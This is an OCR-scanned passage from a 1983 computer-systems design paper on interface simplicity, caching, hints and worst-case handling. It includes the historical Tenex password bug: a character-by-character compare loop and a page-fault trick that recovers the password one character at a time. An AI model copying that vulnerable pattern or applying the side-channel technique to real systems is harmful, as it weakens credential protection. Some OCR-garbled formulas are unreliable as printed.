Everything should be made as simple as possible, but no simpler. (A. Einstein)

Thus, service must have a fairly predictable cost, and the interface must not promise more than
the implementer knows how to deliver. Especially, it should not promise features needed by only
a few clients, unless the implementer knows how to provide them without penalizing others. A
better implementer, or one who comes along ten years later when the problem is better
understood, might be able to deliver, but unless the one you have can do so, it is wise to reduce
your aspirations.

For example, PL/1 got into serious trouble by attempting to provide consistent meanings for a
large number of generic operations across a wide variety of data types. Early implementations
tended to handle all the cases inefficiently, but even with the optimizing compilers of 15 years
later, it is hard for the programmer to tell what will be fast and what will be slow [31]. A
language like Pascal or C is much easier to use, because every construct has a roughly constant
cost that is independent of context or arguments, and in fact most constructs have about the same
cost.

Of course, these observations apply most strongly to interfaces that clients use heavily, such as
virtual memory, files, display handling, or arithmetic. It is all right to sacrifice some performance
for functionality in a seldom used interface such as password checking, interpreting user
commands, or printing 72 point characters. (What this really means is that though the cost must
still be predictable, it can be many times the minimum achievable cost.) And such cautious rules
don’t apply to research whose object is learning how to make better implementations. But since
research may well fail, others mustn’t depend on its success.

Algol 60 was not only an improvement on its predecessors,
but also on nearly all its successors. (C. Hoare)

Examples of offering too much are legion. The Alto operating system [29] has an ordinary
read/write-n-bytes interface to files, and was extended for Interlisp-D [7] with an ordinary paging
system that stores each virtual page on a dedicated disk page. Both have small implementations
(about 900 lines of code for files, 500 for paging) and are fast (a page fault takes one disk access
and has a constant computing cost that is a small fraction of the disk access time, and the client

Hints for Computer System Design July 1983 4



can fairly easily run the disk at full speed). The Pilot system [42] which succeeded the Alto OS
follows Multics and several other systems in allowing virtual pages to be mapped to file pages,
thus subsuming file input/output within the virtual memory system. The implementation is much
larger (about 11,000 lines of code) and slower (it often incurs two disk accesses to handle a page
fault and cannot run the disk at full speed). The extra functionality is bought at a high price.

This is not to say that a good implementation of this interface is impossible, merely that it is
hard. This system was designed and coded by several highly competent and experienced people.
Part of the problem is avoiding circularity: the file system would like to use the virtual memory,
but virtual memory depends on files. Quite general ways are known to solve this problem [22],
but they are tricky and easily lead to greater cost and complexity in the normal case.

And, in this upshot, purposes mistook
Fall’n on th’ inventors’ heads. (V1ii387)

Another example illustrates how easily generality can lead to unexpected complexity. The Tenex
system [2] has the following innocent-looking combination of features:

It reports a reference to an unassigned virtual page by a trap to the user program.

A system call is viewed as a machine instruction for an extended machine, and any reference
it makes to an unassigned virtual page is thus similarly reported to the user program.

Large arguments to system calls, including strings, are passed by reference.

There is a system call CONNECT to obtain access to another directory; one of its arguments is
a string containing the password for the directory. If the password is wrong, the call fails after
a three second delay, to prevent guessing passwords at high speed.

CONNECT is implemented by a loop of the form

for i := 0 to Length(directoryPassword) do
if directoryPassword[i] # passwordArgument[i] then
Wait three seconds; return BadPassword
end if
end loop;
connect to directory; return Success

The following trick finds a password of length » in 64n tries on the average, rather than 1287/2
(Tenex uses 7 bit characters in strings). Arrange the passwordArgument so that its first character
is the last character of a page and the next page is unassigned, and try each possible character as
the first. If CONNECT reports BadPassword, the guess was wrong; if the system reports a
reference to an unassigned page, it was correct. Now arrange the passwordArgument so that its
second character is the last character of the page, and proceed in the obvious way.

This obscure and amusing bug went unnoticed by the designers because the interface provided by
a Tenex system call is quite complex: it includes the possibility of a reported reference to an
unassigned page. Or looked at another way, the interface provided by an ordinary memory
reference instruction in system code is quite complex: it includes the possibility that an improper
reference will be reported to the client without any chance for the system code to get control first.

Hints for Computer System Design July 1983 5



An engineer is a man who can do for a dime
what any fool can do for a dollar. (Anonymous)

At times, however, it’s worth a lot of work to make a fast implementation of a clean and
powerful interface. If the interface is used widely enough, the effort put into designing and
tuning the implementation can pay off many times over. But do this only for an interface whose
importance is already known from existing uses. And be sure that you know how to make it fast.

For example, the BitBIt or RasterOp interface for manipulating raster images [21, 37] was
devised by Dan Ingalls after several years of experimenting with the Alto’s high-resolution
interactive display. Its implementation costs about as much microcode as the entire emulator for
the Alto’s standard instruction set and required a lot of skill and experience to construct. But the
performance is nearly as good as the special-purpose character-to-raster operations that preceded
it, and its simplicity and generality have made it much easier to build display applications.

The Dorado memory system [8] contains a cache and a separate high-bandwidth path for fast
input/output. It provides a cache read or write in every 64 ns cycle, together with 500
MBits/second of I/O bandwidth, virtual addressing from both cache and I/O, and no special cases
for the microprogrammer to worry about. However, the implementation takes 850 MSI chips and
consumed several man-years of design time. This could only be justified by extensive prior
experience (30 years!) with this interface, and the knowledge that memory access is usually the
limiting factor in performance. Even so, it seems in retrospect that the high I/O bandwidth is not
worth the cost; it is used mainly for displays, and a dual-ported frame buffer would almost
certainly be better.

Finally, lest this advice seem too easy to take,

e Get it right. Neither abstraction nor simplicity is a substitute for getting it right. In fact,
abstraction can be a source of severe difficulties, as this cautionary tale shows. Word processing
and office information systems usually have provision for embedding named fields in the
documents they handle. For example, a form letter might have ‘address’ and ‘salutation’ fields.
Usually a document is represented as a sequence of characters, and a field is encoded by
something like {name: contents}. Among other operations, there is a procedure FindNamedField
that finds the field with a given name. One major commercial system for some time used a
FindNamedField procedure that ran in time O(n’), where n is the length of the document. This
remarkable result was achieved by first writing a procedure FindIthField to find the ith field
(which must take time O(#) if there is no auxiliary data structure), and then implementing
FindNamedField(name) with the very natural program

for i := 0 to numberofFields do
FindlthField, if its name is name then exit
end loop

Once the (unwisely chosen) abstraction Find[thField is available, only a lively awareness of its
cost will avoid this disaster. Of course, this is not an argument against abstraction, but it is well
to be aware of its dangers.

Hints for Computer System Design July 1983 6



2.2 Corollaries

The rule about simplicity and generalization has many interesting corollaries.

Costly thy habit as thy purse can buy,
But not express 'd in fancy; rich, not gaudy.

® Make it fast, rather than general or powerful. If it’s fast, the client can program the function it
wants, and another client can program some other function. It is much better to have basic
operations executed quickly than more powerful ones that are slower (of course, a fast, powerful
operation is best, if you know how to get it). The trouble with slow, powerful operations is that
the client who doesn’t want the power pays more for the basic function. Usually it turns out that
the powerful operation is not the right one.

Had I but time (as this fell sergeant, death,
Is strict in his arrest) O, I could tell you —
But let it be. (V1ii339)

For example, many studies (such as [23, 51, 52]) have shown that programs spend most of their
time doing very simple things: loads, stores, tests for equality, adding one. Machines like the 801
[41] or the RISC [39] with instructions that do these simple operations quickly can run programs
faster (for the same amount of hardware) than machines like the VAX with more general and
powerful instructions that take longer in the simple cases. It is easy to lose a factor of two in the
running time of a program, with the same amount of hardware in the implementation. Machines
with still more grandiose ideas about what the client needs do even worse [18].

To find the places where time is being spent in a large system, it is necessary to have
measurement tools that will pinpoint the time-consuming code. Few systems are well enough
understood to be properly tuned without such tools; it is normal for 80% of the time to be spent
in 20% of the code, but a priori analysis or intuition usually can’t find the 20% with any
certainty. The performance tuning of Interlisp-D sped it up by a factor of 10 using one set of
effective tools [7].

e Don'’t hide power. This slogan is closely related to the last one. When a low level of abstraction
allows something to be done quickly, higher levels should not bury this power inside something
more general. The purpose of abstractions is to conceal undesirable properties; desirable ones
should not be hidden. Sometimes, of course, an abstraction is multiplexing a resource, and this
necessarily has some cost. But it should be possible to deliver all or nearly all of it to a single
client with only slight loss of performance.

For example, the Alto disk hardware [53] can transfer a full cylinder at disk speed. The basic file
system [29] can transfer successive file pages to client memory at full disk speed, with time for
the client to do some computing on each sector; thus with a few sectors of buffering the entire
disk can be scanned at disk speed. This facility has been used to write a variety of applications,
ranging from a scavenger that reconstructs a broken file system, to programs that search files for
substrings that match a pattern. The stream level of the file system can read or write n bytes to or
from client memory; any portions of the » bytes that occupy full disk sectors are transferred at
full disk speed. Loaders, compilers, editors and many other programs depend for their
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performance on this ability to read large files quickly. At this level the client gives up the facility
to see the pages as they arrive; this is the only price paid for the higher level of abstraction.

» Use procedure arguments to provide flexibility in an interface. They can be restricted or
encoded in various ways if necessary for protection or portability. This technique can greatly
simplify an interface, eliminating a jumble of parameters that amount to a small programming
language. A simple example is an enumeration procedure that returns all the elements of a set
satisfying some property. The cleanest interface allows the client to pass a filter procedure that
tests for the property, rather than defining a special language of patterns or whatever.

But this theme has many variations. A more interesting example is the Spy system monitoring
facility in the 940 system at Berkeley [10], which allows an untrusted user program to plant
patches in the code of the supervisor. A patch is coded in machine language, but the operation
that installs it checks that it does no wild branches, contains no loops, is not too long, and stores
only into a designated region of memory dedicated to collecting statistics. Using the Spy, the
student of the system can fine-tune his measurements without any fear of breaking the system, or
even perturbing its operation much.

Another unusual example that illustrates the power of this method is the FRETURN mechanism
in the Cal time-sharing system for the CDC 6400 [30]. From any supervisor call C it is possible to
make another one CF that executes exactly like C in the normal case, but sends control to a
designated failure handler if C gives an error return. The CF operation can do more (for example,
it can extend files on a fast, limited-capacity storage device to larger files on a slower device),
but it runs as fast as C in the (hopefully) normal case.

It may be better to have a specialized language, however, if it is more amenable to static analysis
for optimization. This is a major criterion in the design of database query languages, for example.

e Leave it to the client. As long as it is cheap to pass control back and forth, an interface can
combine simplicity, flexibility and high performance by solving only one problem and leaving
the rest to the client. For example, many parsers confine themselves to doing context free
recognition and call client-supplied “semantic routines” to record the results of the parse. This
has obvious advantages over always building a parse tree that the client must traverse to find out
what happened.

The success of monitors [20, 25] as a synchronization device is partly due to the fact that the
locking and signaling mechanisms do very little, leaving all the real work to the client programs
in the monitor procedures. This simplifies the monitor implementation and keeps it fast; if the
client needs buffer allocation, resource accounting or other frills, it provides these functions itself
or calls other library facilities, and pays for what it needs. The fact that monitors give no control
over the scheduling of processes waiting on monitor locks or condition variables, often cited as a
drawback, is actually an advantage, since it leaves the client free to provide the scheduling it
needs (using a separate condition variable for each class of process), without having to pay for or
fight with some built-in mechanism that is unlikely to do the right thing.

The Unix system [44] encourages the building of small programs that take one or more character
streams as input, produce one or more streams as output, and do one operation. When this style is
imitated properly, each program has a simple interface and does one thing well, leaving the client
to combine a set of such programs with its own code and achieve precisely the effect desired.

Hints for Computer System Design July 1983 8



The end-to-end slogan discussed in section 3 is another corollary of keeping it simple.

2.3 Continuity

There is a constant tension between the desire to improve a design and the need for stability or
continuity.

e Keep basic interfaces stable. Since an interface embodies assumptions that are shared by more
than one part of a system, and sometimes by a great many parts, it is very desirable not to change
the interface. When the system is programmed in a language without type-checking, it is nearly
out of the question to change any public interface because there is no way of tracking down its
clients and checking for elementary incompatibilities, such as disagreements on the number of
arguments or confusion between pointers and integers. With a language like Mesa [15] that has
complete type-checking and language support for interfaces, it is much easier to change an
interface without causing the system to collapse. But even if type-checking can usually detect
that an assumption no longer holds, a programmer must still correct the assumption. When a
system grows to more than 250K lines of code the amount of change becomes intolerable; even
when there is no doubt about what has to be done, it takes too long to do it. There is no choice
but to break the system into smaller pieces related only by interfaces that are stable for years.

Traditionally only the interface defined by a programming language or operating system kernel is
this stable.

® Keep a place to stand if you do have to change interfaces. Here are two rather different
examples to illustrate this idea. One is the compatibility package, which implements an old
interface on top of a new system. This allows programs that depend on the old interface to
continue working. Many new operating systems (including Tenex [2] and Cal [50]) have kept old
software usable by simulating the supervisor calls of an old system (TOPS-10 and Scope,
respectively). Usually these simulators need only a small amount of effort compared to the cost
of reimplementing the old software, and it is not hard to get acceptable performance. At a
different level, the IBM 360/370 systems provided emulation of the instruction sets of older
machines like the 1401 and 7090. Taken a little further, this leads to virtual machines, which
simulate (several copies of) a machine on the machine itself [9].

A rather different example is the world-swap debugger, which works by writing the real memory
of the target system (the one being debugged) onto a secondary storage device and reading in the
debugging system in its place. The debugger then provides its user with complete access to the
target world, mapping each target memory address to the proper place on secondary storage.
With care it is possible to swap the target back in and continue execution. This is somewhat
clumsy, but it allows very low levels of a system to be debugged conveniently, since the
debugger does not depend on the correct functioning of anything in the target except the very
simple world-swap mechanism. It is especially useful during bootstrapping. There are many
variations. For instance, the debugger can run on a different machine, with a small ‘tele-
debugging’ nub in the target world that can interpret ReadWord, WriteWord, Stop and Go
commands arriving from the debugger over a network. Or if the target is a process in a time-
sharing system, the debugger can run in a different process.
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2.4 Making implementations work

Perfection must be reached by degrees; she requires the slow hand of time.
(Voltaire)

e Plan to throw one away; you will anyhow [6]. If there is anything new about the function of a
system, the first implementation will have to be redone completely to achieve a satisfactory (that
is, acceptably small, fast, and maintainable) result. It costs a lot less if you plan to have a
prototype. Unfortunately, sometimes two prototypes are needed, especially if there is a lot of
innovation. If you are lucky you can copy a lot from a previous system; thus Tenex was based on
the SDS 940 [2]. This can even work even if the previous system was too grandiose; Unix took
many ideas from Multics [44].

Even when an implementation is successful, it pays to revisit old decisions as the system
evolves; in particular, optimizations for particular properties of the load or the environment
(memory size, for example) often come to be far from optimal.

Give thy thoughts no tongue,
Nor any unproportion’d thought his act.

e Keep secrets of the implementation. Secrets are assumptions about an implementation that
client programs are not allowed to make (paraphrased from [5]). In other words, they are things
that can change; the interface defines the things that cannot change (without simultaneous
changes to both implementation and client). Obviously, it is easier to program and modify a
system if its parts make fewer assumptions about each other. On the other hand, the system may
not be easier to design—it’s hard to design a good interface. And there is a tension with the
desire not to hide power.

An efficient program is an exercise in logical brinkmanship. (E. Dijkstra)

There is another danger in keeping secrets. One way to improve performance is to increase the
number of assumptions that one part of a system makes about another; the additional
assumptions often allow less work to be done, sometimes a lot less. For instance, if a set of size n
is known to be sorted, a membership test takes time log » rather than n. This technique is very
important in the design of algorithms and the tuning of small modules. In a large system the

ability to improve each part separately is usually more important. Striking the right balance
remains an art.

O throw away the worser part of it,
And live the purer with the other half. (Il iv 157)

e Divide and conquer. This is a well known method for solving a hard problem: reduce it to
several easier ones. The resulting program is usually recursive. When resources are limited the
method takes a slightly different form: bite off as much as will fit, leaving the rest for another
iteration.

A good example is in the Alto’s Scavenger program, which scans the disk and rebuilds the index
and directory structures of the file system from the file identifier and page number recorded on
each disk sector [29]. A recent rewrite of this program has a phase in which it builds a data
structure in main storage, with one entry for each contiguous run of disk pages that is also a
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contiguous set of pages in a file. Normally files are allocated more of less contiguously and this
structure is not too large. If the disk is badly fragmented, however, the structure will not fit in
storage. When this happens, the Scavenger discards the information for half the files and
continues with the other half. After the index for these files is rebuilt, the process is repeated for

the other files. If necessary the work is further subdivided; the method fails only if a single file’s
index won’t fit.

Another interesting example arises in the Dover raster printer [26, 53], which scan-converts lists
of characters and rectangles into a large m X n array of bits, in which ones correspond to spots of
ink on the paper and zeros to spots without ink. In this printer m»=3300 and n=4200, so the array
contains fourteen million bits and is too large to store in memory. The printer consumes bits
faster than the available disks can deliver them, so the array cannot be stored on disk. Instead, the
entire array is divided into 16 x 4200 bit slices called bands, and the printer electronics contains
two one-band buffers. The characters and rectangles are sorted into buckets, one for each band; a
bucket receives the objects that start in the corresponding band. Scan conversion proceeds by
filling one band buffer from its bucket, and then playing it out to the printer and zeroing it while
filling the other buffer from the next bucket. Objects that spill over the edge of one band are
added to the next bucket; this is the trick that allows the problem to be subdivided.

Sometimes it is convenient to artificially limit the resource, by quantizing it in fixed-size units;
this simplifies bookkeeping and prevents one kind of fragmentation. The classical example is the
use of fixed-size pages for virtual memory, rather than variable-size segments. In spite of the
apparent advantages of keeping logically related information together, and transferring it
between main storage and backing storage as a unit, paging systems have worked out better. The
reasons for this are complex and have not been systematically studied.

And makes us rather bear those ills we have
Than fly to others that we know not of. (111 81)

e Use a good idea again instead of generalizing it. A specialized implementation of the idea may
be much more effective than a general one. The discussion of caching below gives several
examples of applying this general principle. Another interesting example is the notion of
replicating data for reliability. A small amount of data can easily be replicated locally by writing
it on two or more disk drives [28]. When the amount of data is large or the data must be recorded
on separate machines, it is not easy to ensure that the copies are always the same. Gifford [16]
shows how to solve this problem by building replicated data on top of a transactional storage
system, which allows an arbitrarily large update to be done as an atomic operation (see section
4). The transactional storage itself depends on the simple local replication scheme to store its log
reliably. There is no circularity here, since only the idea is used twice, not the code. A third way
to use replication in this context is to store the commit record on several machines [27].

The user interface for the Star office system [47] has a small set of operations (type text, move,
copy, delete, show properties) that apply to nearly all the objects in the system: text, graphics,
file folders and file drawers, record files, printers, in and out baskets, etc. The exact meaning of
an operation varies with the class of object, within the limits of what the user might find natural.
For instance, copying a document to an out basket causes it to be sent as a message; moving the
endpoint of a line causes the line to follow like a rubber band. Certainly the implementations are
quite different in many cases. But the generic operations do not simply make the system easier to
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use; they represent a view of what operations are possible and how the implementation of each
class of object should be organized.

2.5 Handling all the cases

Diseases desperate grown
By desperate appliance are reliev’d
or not at all. (I1I vii 9)

Therefore this project
Should have a back or second, that might hold,
If this should blast in proof. (IV iii 151)

e Handle normal and worst cases separately as a rule, because the requirements for the two are
quite different:

The normal case must be fast.
The worst case must make some progress.

In most systems it is all right to schedule unfairly and give no service to some of the processes,
or even to deadlock the entire system, as long as this event is detected automatically and doesn’t
happen too often. The usual recovery is by crashing some processes, or even the entire system.
At first this sounds terrible, but one crash a week is usually a cheap price to pay for 20% better
performance. Of course the system must have decent error recovery (an application of the end-to-
end principle; see section 4), but that is required in any case, since there are so many other
possible causes of a crash.

Caches and hints (section 3) are examples of special treatment for the normal case, but there are
many others. The Interlisp-D and Cedar programming systems use a reference-counting garbage
collector [11] that has an important optimization of this kind. Pointers in the local frames or
activation records of procedures are not counted; instead, the frames are scanned whenever
garbage is collected. This saves a lot of reference-counting, since most pointer assignments are to
local variables. There are not very many frames, so the time to scan them is small and the
collector is nearly real-time. Cedar goes farther and does not keep track of which local variables
contain pointers; instead, it assumes that they all do. This means that an integer that happens to
contain the address of an object which is no longer referenced will keep that object from being
freed. Measurements show that less than 1% of the storage is incorrectly retained [45].

Reference-counting makes it easy to have an incremental collector, so that computation need not
stop during collection. However, it cannot reclaim circular structures that are no longer
reachable. Cedar therefore has a conventional trace-and-sweep collector as well. This is not
suitable for real time applications, since it stops the entire system for many seconds, but in

interactive applications it can be used during coffee breaks to reclaim accumulated circular
structures.

Another problem with reference-counting is that the count may overflow the space provided for
it. This happens very seldom, because only a few objects have more than two or three references.
It is simple to make the maximum value sticky. Unfortunately, in some applications the root of a
large structure is referenced from many places; if the root becomes sticky, a lot of storage will
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unexpectedly become permanent. An attractive solution is to have an ‘overflow count’ table,
which is a hash table keyed on the address of an object. When the count reaches its limit it is
reduced by half, the overflow count is increased by one, and an overflow flag is set in the object.
When the count reaches zero, the process is reversed if the overflow flag is set. Thus even with

as few as four bits there is room to count up to seven, and the overflow table is touched only in
the rare case that the count swings by more than four.

There are many cases when resources are dynamically allocated and freed (for example, real
memory in a paging system), and sometimes additional resources are needed temporarily to free
an item (some table might have to be swapped in to find out where to write out a page). Normally
there is a cushion (clean pages that can be freed with no work), but in the worst case the cushion
may disappear (all pages are dirty). The trick here is to keep a little something in reserve under a
mattress, bringing it out only in a crisis. It is necessary to bound the resources needed to free one
item; this determines the size of the reserve under the mattress, which must be regarded as a
fixed cost of the resource multiplexing. When the crisis arrives, only one item should be freed at
a time, so that the entire reserve is devoted to that job; this may slow things down a lot but it
ensures that progress will be made.

Sometimes radically different strategies are appropriate in the normal and worst cases. The Bravo
editor [24] uses a ‘piece table’ to represent the document being edited. This is an array of pieces,
pointers to strings of characters stored in a file; each piece contains the file address of the first
character in the string and its length. The strings are never modified during normal editing.
Instead, when some characters are deleted, for example, the piece containing the deleted
characters is split into two pieces, one pointing to the first undeleted string and the other to the
second. Characters inserted from the keyboard are appended to the file, and the piece containing
the insertion point is split into three pieces: one for the preceding characters, a second for the
inserted characters, and a third for the following characters. After hours of editing there are
hundreds of pieces and things start to bog down. It is then time for a cleanup, which writes a new
file containing all the characters of the document in order. Now the piece table can be replaced
by a single piece pointing to the new file, and editing can continue. Cleanup is a specialized kind
of garbage collection. It can be done in background so that the user doesn’t have to stop editing
(though Bravo doesn’t do this).

3. Speed

This section describes hints for making systems faster, forgoing any further discussion of why
this is important. Bentley’s excellent book [55] says more about some of these ideas and gives
many others.

Neither a borrower, nor a lender be;
For loan oft loses both itself and friend,
And borrowing dulleth edge of husbandry.

e Split resources in a fixed way if in doubt, rather than sharing them. It is usually faster to
allocate dedicated resources, it is often faster to access them, and the behavior of the allocator is
more predictable. The obvious disadvantage is that more total resources are needed, ignoring
multiplexing overheads, than if all come from a common pool. In many cases, however, the cost
of the extra resources is small, or the overhead is larger than the fragmentation, or both.
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For example, it is always faster to access information in the registers of a processor than to get it
from memory, even if the machine has a high-performance cache. Registers have gotten a bad
name because it can be tricky to allocate them intelligently, and because saving and restoring
them across procedure calls may negate their speed advantages. But when programs are written
in the approved modern style with lots of small procedures, 16 registers are nearly always
enough for all the local variables and temporaries, so that allocation is not a problem. With » sets
of registers arranged in a stack, saving is needed only when there are n successive calls without a
return [14, 39].

Input/output channels, floating-point coprocessors, and similar specialized computing devices are
other applications of this principle. When extra hardware is expensive these services are provided
by multiplexing a single processor, but when it is cheap, static allocation of computing power for
various purposes is worthwhile.

The Interlisp virtual memory system mentioned earlier [7] needs to keep track of the disk address
corresponding to each virtual address. This information could itself be held in the virtual memory
(as it is in several systems, including Pilot [42]), but the need to avoid circularity makes this
rather complicated. Instead, real memory is dedicated to this purpose. Unless the disk is
ridiculously fragmented the space thus consumed is less than the space for the code to prevent
circularity.

e Use static analysis if you can; this is a generalization of the last slogan. Static analysis
discovers properties of the program that can usually be used to improve its performance. The
hooker is “if you can”; when a good static analysis is not possible, don’t delude yourself with a
bad one, but fall back on a dynamic scheme.

The remarks about registers above depend on the fact that the compiler can easily decide how to
allocate them, simply by putting the local variables and temporaries there. Most machines lack
multiple sets of registers or lack a way of stacking them efficiently. Good allocation is then much
more difficult, requiring an elaborate inter-procedural analysis that may not succeed, and in any
case must be redone each time the program changes. So a little bit of dynamic analysis (stacking

the registers) goes a long way. Of course the static analysis can still pay off in a large procedure
if the compiler is clever.

A program can read data much faster when it reads the data sequentially. This makes it easy to
predict what data will be needed next and read it ahead into a buffer. Often the data can be
allocated sequentially on a disk, which allows it to be transferred at least an order of magnitude
faster. These performance gains depend on the fact that the programmer has arranged the data so
that it is accessed according to some predictable pattern, that is, so that static analysis is possible.
Many attempts have been made to analyze programs after the fact and optimize the disk

transfers, but as far as I know this has never worked. The dynamic analysis done by demand
paging is always at least as good.

Some kinds of static analysis exploit the fact that some invariant is maintained. A system that

depends on such facts may be less robust in the face of hardware failures or bugs in software that
falsify the invariant.

* Dynamic translation from a convenient (compact, easily modified or easily displayed)
representation to one that can be quickly interpreted is an important variation on the old idea of
compiling. Translating a bit at a time is the idea behind separate compilation, which goes back at
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least to Fortran 2. Incremental compilers do it automatically when a statement, procedure or
whatever is changed. Mitchell investigated smooth motion on a continuum between the
convenient and the fast representation [34]. A simpler version of his scheme is to always do the
translation on demand and cache the result; then only one interpreter is required, and no
decisions are needed except for cache replacement.

For example, an experimental Smalltalk implementation [12] uses the bytecodes produced by the
standard Smalltalk compiler as the convenient (in this case, compact) representation, and
translates a single procedure from byte codes into machine language when it is invoked. It keeps
a cache with room for a few thousand instructions of translated code. For the scheme to pay off,
the cache must be large enough that on the average a procedure is executed at least » times,
where 7 is the ratio of translation time to execution time for the untranslated code.

The C-machine stack cache [14] provides a rather different example. In this device instructions
are fetched into an instruction cache; as they are loaded, any operand address that is relative to
the local frame pointer FP is converted into an absolute address, using the current value of FP
(which remains constant during execution of the procedure). In addition, if the resulting address
is in the range of addresses currently in the stack data cache, the operand is changed to register
mode; later execution of the instruction will then access the register directly in the data cache.
The FP value is concatenated with the instruction address to form the key of the translated
instruction in the cache, so that multiple activations of the same procedure will still work.

If thou didst ever hold me in thy heart. (V ii 349)

e Cache answers to expensive computations, rather than doing them over. By storing the triple [f,
x, f{x)] in an associative store with f'and x as keys, we can retrieve f{x) with a lookup. This is
faster if f{x) is needed again before it gets replaced in the cache, which presumably has limited
capacity. How much faster depends on how expensive it is to compute f{x). A serious problem is
that when fis not functional (can give different results with the same arguments), we need a way
to invalidate or update a cache entry if the value of f{x) changes. Updating depends on an
equation of the form f{x + A) = g(x, A, fix)) in which g is much cheaper to compute than /. For
example, x might be an array of 1000 numbers, f the sum of the array elements, and A a new
value for one of them, that is, a pair [, v]. Then g(x, [i, v], sum) is sum - x, + v.

A cache that is too small to hold all the ‘active’ values will thrash, and if recomputing f'is
expensive performance will suffer badly. Thus it is wise to choose the cache size adaptively,
making it bigger when the hit rate decreases and smaller when many entries go unused for a long
time.

The classic example of caching is hardware that speeds up access to main storage; its entries are
triples [Fetch, address, contents of address]. The Fetch operation is certainly not functional:
Fetch(x) gives a different answer after Store(x) has been done. Hence the cache must be updated
or invalidated after a store. Virtual memory systems do exactly the same thing; main storage
plays the role of the cache, disk plays the role of main storage, and the unit of transfer is the
page, segment or whatever.

But nearly every non-trivial system has more specialized applications of caching. This is
especially true for interactive or real-time systems, in which the basic problem is to
incrementally update a complex state in response to frequent small changes. Doing this in an ad -
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hoc way is extremely error-prone. The best organizing principle is to recompute the entire state
after each change but cache all the expensive results of this computation. A change must
invalidate at least the cache entries that it renders invalid; if these are too hard to identify
precisely, it may invalidate more entries at the price of more computing to reestablish them. The
secret of success is to organize the cache so that small changes invalidate only a few entries.

For example, the Bravo editor [24] has a function DisplayLine(document, firstChar) that returns
the bitmap for the line of text in the displayed document that has document(firstChar] as its first
character. It also returns lastChar and lastCharUsed, the numbers of the last character displayed
on the line and the last character examined in computing the bitmap (these are usually not the
same, since it is necessary to look past the end of the line in order to choose the line break). This
function computes line breaks, does justification, uses font tables to map characters into their
raster pictures, etc. There is a cache with an entry for each line currently displayed on the screen,
and sometimes a few lines just above or below. An edit that changes characters i through j
invalidates any cache entry for which [firstChar .. lastCharUsed] intersects [i .. j]. The display is
recomputed by
loop
(bitMap, lastChar, ) := DisplayLine(document, firstChar); Paint(bitMap);
firstChar := lastChar + 1
end loop

The call of DisplayLine is short-circuited by using the cache entry for [document, firstChar] if it
exists. At the end any cache entry that has not been used is discarded; these entries are not

invalid, but they are no longer interesting because the line breaks have changed so that a line no
longer begins at these points.

The same idea can be applied in a very different setting. Bravo allows a document to be
structured into paragraphs, each with specified left and right margins, inter-line leading, etc. In
ordinary page layout all the information about the paragraph that is needed to do the layout can
be represented very compactly:

the number of lines;

the height of each line (normally all lines are the same height);

any keep properties;

the pre and post leading.

In the usual case this can be encoded in three or four bytes. A 30 page chapter has perhaps 300
paragraphs, so about 1k bytes are required for all this data; this is less information than is
required to specify the characters on a page. Since the layout computation is comparable to the
line layout computation for a page, it should be possible to do the pagination for this chapter in
less time than is required to render one page. Layout can be done independently for each chapter.

What makes this idea work is a cache of [paragraph, ParagraphShape(paragraph)] entries. If
the paragraph is edited, the cache entry is invalid and must be recomputed. This can be done at
the time of the edit (reasonable if the paragraph is on the screen, as is usually the case, but not so
good for a global substitute), in background, or only when repagination is requested.
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For the apparel oft proclaims the man.

e Use hints to speed up normal execution. A hint, like a cache entry, is the saved result of some
computation. It is different in two ways: it may be wrong, and it is not necessarily reached by an
associative lookup. Because a hint may be wrong, there must be a way to check its correctness
before taking any unrecoverable action. It is checked against the ‘truth’, information that must be
correct but can be optimized for this purpose rather than for efficient execution. Like a cache

entry, the purpose of a hint is to make the system run faster. Usually this means that it must be
correct nearly all the time.

For example, in the Alto [29] and Pilot [42] operating systems each file has a unique identifier,
and each disk page has a ‘label’ field whose contents can be checked before reading or writing
the data without slowing down the data transfer. The label contains the identifier of the file that
contains the page and the number of that page in the file. Page zero of each file is called the
‘leader page’ and contains, among other things, the directory in which the file resides and its
string name in that directory. This is the truth on which the file systems are based, and they take
great pains to keep it correct.

With only this information, however, there is no way to find the identifier of a file from its name
in a directory, or to find the disk address of page i, except to search the entire disk, a method that
works but is unacceptably slow. Each system therefore maintains hints to speed up these
operations. Both systems represent directory by a file that contains triples [string name, file
identifier, address of first page]. Each file has a data structure that maps a page number into the
disk address of the page. The Alto uses a link in each label that points to the next label; this
makes it fast to get from page » to page n + 1. Pilot uses a B-tree that implements the map
directly, taking advantage of the common case in which consecutive file pages occupy
consecutive disk pages. Information obtained from any of these hints is checked when it is used,
by checking the label or reading the file name from the leader page. If it proves to be wrong, all
of it can be reconstructed by scanning the disk. Similarly, the bit table that keeps track of free
disk pages is a hint; the truth is represented by a special value in the label of a free page, which is
checked when the page is allocated and before the label is overwritten with a file identifier and
page number.

Another example of hints is the store and forward routing first used in the Arpanet [32]. Each
node in the network keeps a table that gives the best route to each other node. This table is
updated by periodic broadcasts in which each node announces to all the other nodes its opinion
about the quality of its links to its neighbors. Because these broadcast messages are not
synchronized and are not guaranteed to be delivered, the nodes may not have a consistent view at
any instant. The truth in this case is that each node knows its own identity and hence knows
when it receives a packet destined for itself. For the rest, the routing does the best it can; when
things aren’t changing too fast it is nearly optimal.

A more curious example is the Ethernet [33], in which lack of a carrier signal on the cable is used
as a hint that a packet can be sent. If two senders take the hint simultaneously, there is a collision
that both can detect; both stop, delay for a randomly chosen interval, and then try again. If n
successive collisions occur, this is taken as a hint that the number of senders is 2", and each
sender sets the mean of its random delay interval to 2" times its initial value. This ‘exponential
backoff” ensures that the net does not become overloaded.
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A very different application of hints speeds up execution of Smalltalk programs [12]. In
Smalltalk the code executed when a procedure is called is determined dynamically by the type of
the first argument. Thus Print(x, format) invokes the Print procedure that is part of the type of x.
Since Smalltalk has no declarations, the type of x is not known statically. Instead, each object has
a pointer to a table of pairs [procedure name, address of code], and when this call is executed,
Print is looked up x’s table (I have normalized the unusual Smalltalk terminology and syntax,
and oversimplified a bit). This is expensive. It turns out that usually the type of x is the same as it
was last time. So the code for the call Print(x, format) can be arranged like this:

push format; push x;
push /astType; eall lastProc

and each Print procedure begins with
lastT = Pop(); x := Pop(); t := type of x;
if # # lastT then LookupAndCall(x, “Print”) else the body of the procedure end if.

Here lastType and lastProc are immediate values stored in the code. The idea is that
LookupAndCall should store the type of x and the code address it finds back into the /astType and
lastProc fields. If the type is the same next time, the procedure is called directly. Measurements
show that this cache hits about 96% of the time. In a machine with an instruction fetch unit, this
scheme has the nice property that the transfer to /astProc can proceed at full speed; thus when the
hint is correct the call is as fast as an ordinary subroutine call. The check of ¢ # lastT can be
arranged so that it normally does not branch.

